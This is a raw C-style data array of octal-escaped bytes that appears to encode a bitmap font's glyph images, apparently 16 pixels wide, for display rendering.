"\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\7\7\7\7\7\7\7\7\7\207\307\377" "\377\177\0\0\0\0\0\0\0\370\374\376\17\7\3\1\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0" "\0\0\0\0p\374\376\216\207\7\7\7\7\207\216\376\374p\0\0p\370\375\217\17\7\7\7\7\17\217\375" "\370p\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\360\374\376\16\7\7\7\7\7\7\16\376" "\374\360\0\0\3\17\37\34\70\70\70\70\70\70\270\377\377\177\0\0\0\0\0\7\7\7\7\7\7\7\3\3" "\1\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0\0\0\0\0\0\0\0\0\301\343\343\343\301\0\0\0" "\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0" "\0\0\0\0\0\0\0\0\301\343\343\343\301\0\0\0\0\0\0\0\0\0\0@\341\363\177\77\37\0\0\0" "\0\0\0\0\0\0\0\0\200\300\340\360x<\36\17\7\2\0\0\0\0\2\7\17\37=x\360\340\300\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\7\2\0\0\340\340\340\340\340\340\340\340\340\340\340\340" "\340\340\0\0\70\70\70\70\70\70\70\70\70\70\70\70\70\70\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\2\7\17\36\16\7\7\7\7\7\7\216\376" "\374\360\0\0\0\0\0\0\0\60\70<\36\17\7\3\1\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0" "\0\0\0\0\360\374\376\16\7\207\307\347\347\347\356\376\374\360\0\0\177\377\377\200\0\17\37\77\70\70\70\77" "\37\17\0\0\0\1\3\3\7\7\7\7\7\7\7\7\7\7\0\0\0\0\300\360\374\77\17\17\77\374\360\300" "\0\0\0\0\374\377\377;\70\70\70\70\70\70;\377\377\374\0\0\7\7\7\0\0\0\0\0\0\0\0\7" "\7\7\0\0\377\377\377\7\7\7\7\7\7\207\216\376\374p\0\0\377\377\377\7\7\7\7\7\7\17\217\375" "\370p\0\0\7\7\7\7\7\7\7\7\7\7\3\3\1\0\0\0\360\374\376\16\7\7\7\7\7\7\16>" "<\60\0\0\177\377\377\200\0\0\0\0\0\0\200\340\340`\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\377\377\377\7\7\7\7\7\7\7\16\376\374\360\0\0\377\377\377\0\0\0\0\0\0\0\200\377" "\377\177\0\0\7\7\7\7\7\7\7\7\7\7\3\3\1\0\0\0\377\377\377\7\7\7\7\7\7\7\7\7" "\7\7\0\0\377\377\377\7\7\7\7\7\7\7\7\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\377\377\377\7\7\7\7\7\7\7\7\7\7\7\0\0\377\377\377\7\7\7\7\7\7\7\7\0" "\0\0\0\0\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\360\374\376\16\7\7\7\7\7\7\16>" "<\60\0\0\177\377\377\200\0\0\0\0\7\7\207\377\377\177\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\377\377\377\0\0\0\0\0\0\0\0\377\377\377\0\0\377\377\377\7\7\7\7\7\7\7\7\377" "\377\377\0\0\7\7\7\0\0\0\0\0\0\0\0\7\7\7\0\0\7\7\7\7\7\377\377\377\7\7\7\7" "\7\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0x\370\370\200\0\0\0\0\0\0\200\377" "\377\177\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\377\377\377\200\300\340\360x<\36\17\7" "\3\0\0\0\377\377\377\17\37=x\360\340\300\200\0\0\0\0\0\7\7\7\0\0\0\0\0\1\3\7\7" "\6\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0" "\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\377\377\377\36" "<\60\0\0`\341\343\203\7\7\7\7\7\7\216\376\374p\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\7\7\7\7\7\377\377\377\7\7\7\7\7\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\377" "\377\377\0\0\177\377\377\200\0\0\0\0\0\0\200\377\377\177\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\177\377\377\200\0\0\0\0\0\0\200\377\377\177\0\0\0\1\7\37~\370\340\340\370~\37\7" "\1\0\0\0\0\0\0\0\0\1\7\7\1\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0" "\377\377\377\0\377\377\377\300\340\360\177\77\177\360\340\340\377\377\377\0\7\7\7\3\1\0\0\0\0\0\1\3" "\7\7\7\0\37\77\177\360\340\300\200\200\300\340\360\177\77\37\0\0\300\340\360x=\37\17\17\37=x\360" "\340\300\0\0\7\7\7\0\0\0\0\0\0\0\0\7\7\7\0\0\377\377\377\200\0\0\0\0\0\200\377\377" "\377\0\0\0\0\1\3\7\17\376\374\376\17\7\3\1\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0" "\0\0\0\0\7\7\7\7\7\7\7\207\307\347\367\177\77\37\0\0\300\340\360x<\36\17\7\3\1\0\0" "\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\77\77\77\70\70\70\0" "\0\0\0\0\0\0\3\17\77\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\374\360\300" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\374\360\300\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\70\70\70\77\77\77\0\0\0\0" "\0\0\0\0@\340\360x<\36\17\17\36\0\0\0\1\3\3\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\340\340\340\360\374\376\356\347\347\7\7\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0\0\0\0\0\0\200\300\300\340\340\340\340\340\340\340\340" "\340\340\0\0~\377\377\201\0\0\0\0\0\0\0\377\377\377\0\0\0\1\3\343\347\347\347\347\347\347w\177" "\77\17\0\0\377\377\377\340\340\340\340\340\340\340\300\300\200\0\0\0\377\377\377\0\0\0\0\0\0\0\1\377" "\377\376\0\0\7\7\7\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0\340\340\340\347\347\347\0\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\0\340\340\340\347\347\347\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\340\340\340\340p\177\77\17\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\200\300\340\340`" " \0\0\0\377\377\377x<\36\77\177\363\341\300\200\0\0\0\0\7\7\7\0\0\0\0\0\0\1\3\7" "\7\6\0\0\0\0\7\7\7\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\300" "\300\200\0\0\377\377\377\0\0\0\377\377\377\0\0\1\377\377\376\0\7\7\7\0\0\0\7\7\7\0\0\0" "\7\7\7\0\340\340\340\0\200\300\300\340\340\340\300\300\200\0\0\0\377\377\377\7\3\1\1\0\0\0\1\377" "\377\376\0\0\7\7\7\0\0\0\0\0\0\0\0\7\7\7\0\0\0\200\300\300\340\340\340\340\340\340\300\300" "\200\0\0\0~\377\377\201\0\0\0\0\0\0\201\377\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\340\340\340\340\340\340\340\340\340\340\300\300\200\0\0\0\377\377\377\0\0\0\0\0\0\0\201\377" "\377~\0\0\377\377\377\7\7\7\7\7\7\7\3\3\1\0\0\0\0\200\300\300\340\340\340\340\340\340\340\340" "\340\340\0\0~\377\377\201\0\0\0\0\0\0\0\377\377\377\0\0\0\1\3\3\7\7\7\7\7\7\7\377" "\377\377\0\0\340\340\340\0\200\300\300\340\340\340\300\300\200\0\0\0\377\377\377\7\3\1\1\0\0\0\1\7" "\7\6\0\0\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\340\340\340\340\340\340\340\340" "\340\340\0\0\7\17\17\35\34\34\34\34\34\34\270\370\360\340\0\0\7\7\7\7\7\7\7\7\7\7\3\3" "\1\0\0\0\0\0\340\340\340\377\377\377\340\340\340\0\0\0\0\0\0\0\0\0\0\177\377\377\200\0\0\0" "\0\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\0\0\0\340\340\340\0\0\0\0\0\0\0\0\340" "\340\340\0\0\177\377\377\200\0\0\0\200\200\300\340\377\377\377\0\0\0\1\3\3\7\7\7\3\3\1\0\7" "\7\7\0\0\340\340\340\0\0\0\0\0\0\0\0\340\340\340\0\0\3\17\77\374\360\300\0\0\300\360\374\77" "\17\3\0\0\0\0\0\0\3\7\7\7\7\3\0\0\0\0\0\0\340\340\340\0\0\0\340\340\340\0\0\0" "\340\340\340\0\377\377\377\200\0\200\377\377\377\200\0\200\377\377\377\0\0\3\3\7\7\7\3\1\3\7\7\7" "\3\3\0\0\340\340\340\200\0\0\0\0\0\0\200\340\340\340\0\0\0\201\303\347\377~<<~\377\347\303" "\201\0\0\0\7\7\7\1\0\0\0\0\0\0\1\7\7\7\0\0\340\340\340\0\0\0\0\0\0\0\0\340" "\340\340\0\0\177\377\377\200\0\0\0\0\0\0\0\377\377\377\0\0\0\1\3\343\347\347\347\347\347\347w\177" "\77\17\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\0\0\0\0\200\300\340\360x<\36\17\7\3\1" "\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\200\377\377\377\0\0\0" "\0\0\0\0\0\0\0\7\7\17\375\375\370\0\0\0\0\0\0\0\0\0\0\0\0\0\37\177\177\360\340\340" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\200\0\0\0" "\0\0\0\0\0\0\0\0\0\370\375\375\17\7\7\0\0\0\0\0\0\0\340\340\360\177\177\37\0\0\0\0" "\0\0\0\0\0\200\300\300\300\300\200\200\0\0\300\300\300\0\0\0\7\7\7\1\1\3\3\7\7\7\7\3" "\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\0\0\0\0\0\0\0" "\0\0\0\0\20\70\77\37\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\377\377\377\340\340\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\340\340\340\340p\177\77\17\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\0\0\0\300\300\300\0" "\0\0\0\0\20\70\77\37\17\0\20\70\77\37\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\0\0\7\7\7\0\0\7\7" "\7\0\0\0\0\0\70\70\70\377\377\377\70\70\70\0\0\0\0\0\0\0\0\0\0\77\77\77\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\70\70\70\377\377\377\70\70\70\0" "\0\0\0\0\0\0\7\7\7\77\77\77\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\2\7\7\3\1\1\3\7\7\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\36\177\377\361\340\361\377\377x<\36\17" "\7\3\1\0x<\36\376\377\217\7\217\376\376\217\7\217\376\370\0\0\0\0\0\3\7\7\7\3\3\7\7" "\7\3\0\0p\374\376\216\7\7\7\7\7\7\16><\60\0\0`\341\343\203\7\7\7\7\7\7\216\376" "\374p\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\0\0\200\200\0\0\0\0\0\0\0\0" "\0\0\0\0\370\376\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\3\17\17\4\0\0\0\0\0\0\0" "\0\0\0\0\360\374\376\16\7\377\377\377\7\7\7\7\7\7\0\0\177\377\377\200\0\377\377\377\7\7\7\0" "\0\0\0\0\0\1\3\3\7\7\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\376\377\7\2\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0@\340\377\177\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\374\376\377\7\2\0\374\376\377\7" "\2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0@\340\377\177\77\0@\340\377\177\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\360\370\370\370\370\370\360\360\340" "\200\0\0\0\17\77\177\177\377\377\377\377\377\177\177\77\17\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\7\7\7\1\1\3\3\7\7\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\377\377\377\7\7\377\377\377\36\36" "\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\300\341\343\347\347\343\341\340\340\340\340\0\0\7\17\17\35\34\34\34\34\34\34\270\370" "\360\340\0\0\7\7\7\7\7\7\7\7\7\7\3\3\1\0\0\0\0\200\200\0\0\0\0\0\0\0\0\0" "\0\0\0\0\1\7\377\376\370\0\0\0\0\0\0\0\0\0\0\0\4\17\17\3\1\0\0\0\0\0\0\0" "\0\0\0\0\0\300\340\340\340\340\300\300\340\340\340\340\300\0\0\0\377\377\377\0\0\377\377\377\70\70\70\77" "\77\77\0\0\0\3\7\7\7\7\3\3\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\200\0\0\0\0\0\200\377\377" "\377\0\0\0\0\1\3\7\17\376\374\376\17\7\3\1\0\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\347\347\347\0" "\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\0" "\0\0\0\0\0\200\300\300\340\374\374\374\340\300\300\200\0\0\0\0~\377\377\201\0\377\377\377\0\1\7\7" "\6\0\0\0\0\1\3\3\7\77\77\77\7\7\7\7\7\0\0\0\376\377\377\341\340\340\340\341\7\7\6\0" "\0\0\0\0\377\377\377\0\0\0\0\0\0\200\340\340`\0\0\0\7\7\7\7\7\7\7\7\7\3\3\1" "\0\0\0\0\200\300\200\0\0\0\0\0\0\0\200\300\200\0\0\0\0\1\203\377\376\356\306\356\376\377\203\1" "\0\0\0\0\2\7\3\1\0\0\0\0\0\1\3\7\2\0\0\0\2\347\357\376\374\370\360\340\360\370\374\376" "\357\347\2\0\0\70\70\70\70\70\377\377\377\70\70\70\70\70\0\0\0\0\0\0\0\0\7\7\7\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\0\0\0\0" "\0\0\0\0\0\0\0\0\0\77\77\77\0\0\0\0\0\0\0\0\370\371\373\207\17\36\0\0\3\17\37\34\70\70\70\70\70\31\37\37" "\7\0\0\0\0\0\0\7\7\7\0\0\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\16\316\306\347\347\347\346\356\16\34|\370" "\340\0\0\0\207\237\37\70\70\70\70\270\200\300\360\377\77\7\0\0\3\3\3\7\7\7\3\3\3\1\1\0" "\0\0\0\0\0\0\3\17\37\34\70\70\70\70\70\77\77\77\0\0\0\0\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0\0\0\200\200" "\0\0\0\0\370\376\377\7\1\0\0\0\370\376\377\7\1\0\0\0\0\3\17\17\4\0\0\0\0\3\17\17" "\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\377" "\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\356\356\346\347\347\307\306\16\16\34|\370\340\0\0\0\377\377\377\70x\377\377\307\300\300\360\377" "\77\7\0\0\1\1\1\0\0\0\1\1\1\1\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\36\177\377\341\300\300\300\300\341\377\177\36\0\0\0\0\0\0\0\0\1\1\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\370\370\370\0\0\0\0" "\0\0\0\0\7\7\7\7\7\377\377\377\7\7\7\7\7\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7" "\7\0\0\0\0\0\0\0\10\14\12\11\10\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\4\10\10\10\11\6\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\2\7\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\0\0\0\0\0\300\300\300\0" "\0\0\0\0\377\377\377\0\0\0\0\200\377\377\377\200\0\0\0\0\377\377\377\7\7\7\7\3\3\1\3\3" "\7\7\0\0<\377\377\303\201\377\377\377\0\0\0\377\377\377\0\0\0\0\1\3\3\377\377\377\7\7\7\377" "\377\377\0\0\0\0\0\0\0\7\7\7\0\0\0\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\16\37\37\37\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0g\367\377\177\77\37\0\0\0\0\0\0\0\0\0\0\0\10\10\10\17\10\10\10\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\3\17\37\34\70\70\70\34\37\17\3\0\0\0\0\0\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\0\0\0\0\0\0\200\200\0" "\0\0\0\0\1\7\377\376\370\0\0\0\1\7\377\376\370\0\0\0\4\17\17\3\0\0\0\0\4\17\17\3" "\0\0\0\0\0\10\10\10\17\10\10\10\200@ \20\10\4\2\0\200@ \20\10\4\2\1\300\240\220\210" "\374\200\200\0\0\0\0\0\0\0\0\0\0\0\4\4\7\4\4\0\0\10\10\10\17\10\10\10\200@ \20" "\10\4\2\0\200@ \20\10\4\2\1\10\4\4\204D\70\0\0\0\0\0\0\0\0\0\0\4\6\5\4" "\4\4\0\0\0\0\4\10\10\10\11\6\200@ \20\10\4\2\0\200@ \20\10\4\2\1\300\240\220\210" "\374\200\200\0\0\0\0\0\0\0\0\0\0\0\4\4\7\4\4\0\0\0\0\0\200\300\347\347g\0\0\0" "\0\0\0\0x\374\376\217\7\3\1\0\0\0\200\340\340`\0\0\0\1\3\3\7\7\7\7\7\7\3\3" "\1\0\0\0\0\0\300\360\374\77\17\17\77\374\360\300\0\0\0\0\374\377\377;\70\70\70\70\70\70;\377" "\377\374\0\0\7\7\7\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0\300\360\374\77\17\17\77\374\360\300" "\0\0\0\0\374\377\377;\70\70\70\70\70\70;\377\377\374\0\0\7\7\7\0\0\0\0\0\0\0\0\7" "\7\7\0\0\0\0\300\360\375>\17\17>\375\360\300\0\0\0\0\374\377\377;\70\70\70\70\70\70;\377" "\377\374\0\0\7\7\7\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0\300\360\374\77\17\17\77\374\360\300" "\0\0\0\0\374\377\377;\70\70\70\70\70\70;\377\377\374\0\0\7\7\7\0\0\0\0\0\0\0\0\7" "\7\7\0\0\0\0\300\360\374\77\17\17\77\374\360\300\0\0\0\0\374\377\377;\70\70\70\70\70\70;\377" "\377\374\0\0\7\7\7\0\0\0\0\0\0\0\0\7\7\7\0\0\0\0\300\360\375\77\17\17\77\375\360\300" "\0\0\0\0\374\377\377;\70\70\70\70\70\70;\377\377\374\0\0\7\7\7\0\0\0\0\0\0\0\0\7" "\7\7\0\0\360\374\376\16\7\377\377\377\7\7\7\7\7\7\0\0\377\377\377\7\7\377\377\377\7\7\7\0" "\0\0\0\0\7\7\7\0\0\7\7\7\7\7\7\7\7\7\0\0\360\374\376\16\7\7\7\7\7\7\16>" "<\60\0\0\177\377\377\200\0\0\0\0\0\0\200\340\340`\0\0\0\1C\343\367\177\77\37\7\7\3\3" "\1\0\0\0\377\377\377\7\7\7\7\7\7\7\7\7\7\7\0\0\377\377\377\7\7\7\7\7\7\7\7\0" "\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\377\377\377\7\7\7\7\7\7\7\7\7" "\7\7\0\0\377\377\377\7\7\7\7\7\7\7\7\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\377\377\377\7\7\7\7\7\7\7\7\7\7\7\0\0\377\377\377\7\7\7\7\7\7\7\7\0" "\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\377\377\377\7\7\7\7\7\7\7\7\7" "\7\7\0\0\377\377\377\7\7\7\7\7\7\7\7\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\7\7\7\7\7\377\377\377\7\7\7\7\7\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\0\7\7\7\7\7\377\377\377\7\7\7\7" "\7\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7" "\7\0\0\0\7\7\7\7\7\377\377\377\7\7\7\7\7\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0\0\7\7\7\7\7\377\377\377\7\7\7\7" "\7\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7" "\7\0\0\0\0\0\0\377\377\377\7\7\7\7\16\376\374\360\0\0\7\7\7\377\377\377\7\7\7\0\200\377" "\377\177\0\0\0\0\0\7\7\7\7\7\7\7\3\3\1\0\0\0\377\377\377\36\0\0\0\1\3\3\7\7\7\7\7\7\7\7\7\7\0\0\0\200\300\300\340\340\340\340\340\340\300\300" "\200\0\0\0~\377\377\201\0\0\0\0\0\0\1\7\7\6\0\0\0\1C\343\367\177\77\37\7\7\7\7" "\7\7\0\0\0\200\300\300\341\343\347\347\342\340\300\300\200\0\0\0~\377\377\271\70\70\70\70\70\70\71\77" "\77>\0\0\0\1\3\3\7\7\7\7\7\7\7\7\7\7\0\0\0\200\300\300\340\342\347\347\343\341\300\300" "\200\0\0\0~\377\377\271\70\70\70\70\70\70\71\77\77>\0\0\0\1\3\3\7\7\7\7\7\7\7\7" "\7\7\0\0\0\200\302\307\347\343\341\341\343\347\307\302\200\0\0\0~\377\377\271\70\70\70\70\70\70\71\77" "\77>\0\0\0\1\3\3\7\7\7\7\7\7\7\7\7\7\0\0\0\200\307\307\347\340\340\340\340\347\307\307" "\200\0\0\0~\377\377\271\70\70\70\70\70\70\71\77\77>\0\0\0\1\3\3\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\340\340\341\343\347\347\2\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\340\340\342\347\347\343\1\0\0\0" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\0\342\347\347\343\341\341\3\7\7\2\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0" "\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\0\0\0\0\0\0\0\347\347\347\340\340\340\7\7\7\0" "\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\0" "\0\0\0\0\0\204\316\317\347\343\347\357\376\374\370\360\340\300\0\0~\377\377\201\0\0\0\0\0\0\201\377" "\377\177\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\347\347\347\1\201\303\303\347\347\347\307\303" "\201\0\0\0\377\377\377\7\3\1\1\0\0\0\1\377\377\376\0\0\7\7\7\0\0\0\0\0\0\0\0\7" "\7\7\0\0\0\200\300\300\341\343\347\347\342\340\300\300\200\0\0\0~\377\377\201\0\0\0\0\0\0\201\377" "\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3\1\0\0\0\0\200\300\300\340\342\347\347\343\341\300\300" "\200\0\0\0~\377\377\201\0\0\0\0\0\0\201\377\377~\0\0\0\1\3\3\7\7\7\7\7\7\3\3" 